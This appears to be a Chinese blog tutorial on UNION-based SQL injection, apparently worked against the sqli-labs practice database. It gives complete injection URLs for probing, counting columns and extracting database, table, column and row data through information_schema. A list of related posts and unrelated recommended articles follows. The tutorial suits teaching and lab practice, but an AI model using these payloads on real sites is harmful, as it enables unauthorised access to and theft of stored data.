union注入

更多内容请看此链接:https://blog.csdn.net/weixin_45380284

1.判断是否存在注入:

方法一:

单引号法——在url最后加一个单引号,如:

http://www.123456.com/web/union.php?id=1'

页面不正常,浏览器返回异常信息说明该链接会存在注入漏洞。

方法二:

1=1和1=2法,如:

http://www.123456.com/web/union.php?id=1 and 1=1

URL:http://www.123456.com/web/union.php?id=1 and 1=2

如果返回不同的页面,那么说明存在SQL注入漏洞。

2.使用order by 1-99 来查询该数据表字段数

方法;

Id=1 order by 1-99 来判断字段数,例如:

http://www.tianchi.com/web/union.php?id=1 order by 3

发现当id=1 order by 3时,页面返回与id=1相同的结果;而id=1 order by 4时不一样,故字段数量是3。

3.查询sql语句插入位置:

http://www.tianchi.com/web/union.php? id=-1 union select 1,2,3

通过浏览器返回的值判断;如果返回2:3则说明2、3位置可以插入sql语句

4.获取数据库名:

1.获取当前数据库库名:

将id=-1 union select 1,2,3中2的位置改为database() 如:

http://www.tianchi.com/web/union.php?id=-1 union select 1,database(),3

2.获取所有数据库库名

http://www.tianchi.com/web/union.php?id=-1 union select

1,group_concat(char(32,58,32),schema_name),3 from information_schema.schemata

3.逐条获取数据库库名

语句:select schema_name from information_schema.schemata limit 0,1;

http://www.tianchi.com/web/union.php?id=-1 union select 1,(select schema_name from information_schema.schemata limit 0,1),3

修改limit中第一个数字,如获取第二个库名:limit 1,1。

数据库库名:

information_schema,challenges,dedecmsv57utf8sp2,dvwa,mysql,performance_schema,security,test,xssplatform

5.获取数据库表名:

(1)方法一:

获取数据库表名,这种方式一次获取一个表名,2位置修改为:

select table_name from information_schema.tables where table_schema='security' limit 0,1;

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3

修改limit中第一个数字,如获取第二个表名:limit 1,1,这样就可以获取所有的表名。

表名是:emails,referers,uagents,users。

(2)方法二:

一次性获取当前数据库所有表名:

http://www.tianchi.com/web/union.php?id=-1 union select

1,group_concat(char(32,58,32),table_name),3 from information_schema.tables where table_schema='security'

6.取字段名

(1)方法一:

获取字段名,以emails表为例,2位置修改为:

select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1;

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),3

修改limit中第一个数字,如获取第二个字段名:limit 1,1

字段名:id,email_id。

(2)方法二:

以emails表为例,一次性获取所有字段名:

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),column_name),3 from information_schema.columns where table_schema='security' and table_name='emails'

7.获取数据

(1)方法一:

获取数据,以emails表为例,2,3位置分别修改为:

(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

获取emails表第一,第二条数据:

1 : Dumb@dhakkan.com

2 : Angel@iloveu.com

URL:http://www.tianchi.com/web/union.php?id=-1 union select

1,(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

(2)方法二:

以emails表为例,一次性获取所有数据:

URL:http://www.tianchi.com/web/union.php?id=-1 union select

1,group_concat(char(32,58,32),id,email_id),3 from security.emails

8. union注入PHP代码

union注入的更多相关文章

  1. oracle union 注入工具

    '***********************************************************************************************'ora ...

  2. [php审计实战篇]BlueCms v1.6 Union注入

    非常基础的代码审计练习,适合有php基础的审计新手练习 本文作者:Aedoo 来源:i春秋社区 0×01 代码跟踪 首先,进入首页代码 :index.php 包含了php文件:/include/com ...

  3. SQL注入之Union注入攻击

    union联合查询算是最简单的一种注入了,但是却是经常遇到. 什么是UNION注入 UNION操作符用于合并两个或多个SELECT语句的结果集,而且UNION内部的SELECT语句必须拥有相同数量的列 ...

  4. sqli-labs less11-12(post型union注入)

    less-11 post型union注入 过程: 输入admin admin 判断username password的闭合方式 对username查字段个数 ' union select 1,2# ' ...

  5. i春秋-Phone number(union注入+hex转码)

    记一道union注入语句转十六进制的注入题. 这个网站的基本功能就是可以找出跟你用户名相同的注册的人数. 注册登录给了两个显位. 点击check可以显示出有多少人和你用户名相同. 同时在这个页面的源代 ...

  6. Mysql下Union注入Bypass安全狗过程

    文章转载于:http://www.0aa.me/index.php/archives/95/ 一次众测发现个注入,然后有安全狗就顺带看了下安全狗. 先fuzz看看安全狗拦截什么关键词union sel ...

  7. union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单

    这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...

  8. sql注入之union注入

    联合查询注入利用的前提: 必须要有回显 联合查询过程: 判断是否存在注入点 判断是什么类型注入(字符型or数字型) 判断闭合方式 查询列数个数(order by) 5, 获得数据库名 获得表名 获得字 ...

  9. sqli-labs less1-4(union注入)

    less-1 考点:Single quotes 输入: 判断类型 ?id=1 返回loginname和password.输入的id就是与后台数据库连接的接口通过id=? 查询数据库信息 ?id=1' ...

随机推荐

  1. .Net Core服务监控报警指标上报Prometheus+Grafana

    前言 简单集成Prometheus+Grafana,指标的上报收集可视化. Prometheus Prometheus是一个监控平台,监控从HTTP端口收集受监控目标的指标.在微服务的架构里Prome ...

  2. Docker中使用ElasticSearch

    安装Docker yum install docker //安装完成以后,可以查看一下docker的版本 docker -v //Docker version 1.13.1, build 64e998 ...

  3. vue 框架,入门必看

    vue 的 入门 el 的挂载点: el 是用来设置vue实例挂载,(管理)的元素 vue会管理el选项命中的元素以及内部的后代元素 可以使用其他的选择器,但是不建议使用ID选择器 可以使用其他的双标 ...

  4. Cookie的简介与使用

    Cookie 历来指就着牛奶一起吃的点心.然而,在因特网内,"Cookie"这个字有了完全不同的意思.那么"Cookie"到底是什么呢?"Cookie ...

  5. SSM登录拦截验证

    /** * 登陆拦截器,用于后台管理系统拦截,判断用户是否登录 * @author ljy * @date 2015/8/19 */public class LoginForAdminIntercep ...

  6. Python 简明教程 --- 8,Python 字符串函数

    微信公众号:码农充电站pro 个人主页:https://codeshellme.github.io 好代码本身就是最好的文档.当你需要添加一个注释时,你应该考虑如何修改代码才能不需要注释. -- St ...

  7. VMware 15安装Ubuntu 16.04并配置环境

    VMware(虚拟机)是指通过软件模拟的具有完整硬件系统功能的.运行在一个完全隔离环境中的完整计算机系统,它能在Windows系统上虚拟出多个计算机,每个虚拟计算机可以独立运行,可安装各种软件与应用等 ...

  8. JAVA集合框架 - Map接口

    Map 接口大致说明(jdk11): 整体介绍: 一个将键映射到值的(key-value)对象, 键值(key)不能重复, 每个键值只能影射一个对象(一一对应). 这个接口取代了Dictionary类 ...

  9. SpringBoot--swagger搭建、配置及使用

    一. 作用: 1. 接口的文档在线自动生成. 2. 接口测试. 二.模块介绍 Swagger是一组开源项目,其中主要要项目及功能如下: 1.Swagger Codegen: 通过Codegen 可以将 ...

  10. 洛谷P3694 邦邦的大合唱站队【状压dp】

    状压dp 应用思想,找准状态,多考虑状态和\(f\)答案数组的维数(这个题主要就是找出来状态如何转移) 题目背景 \(BanG Dream!\)里的所有偶像乐队要一起大合唱,不过在排队上出了一些问题. ...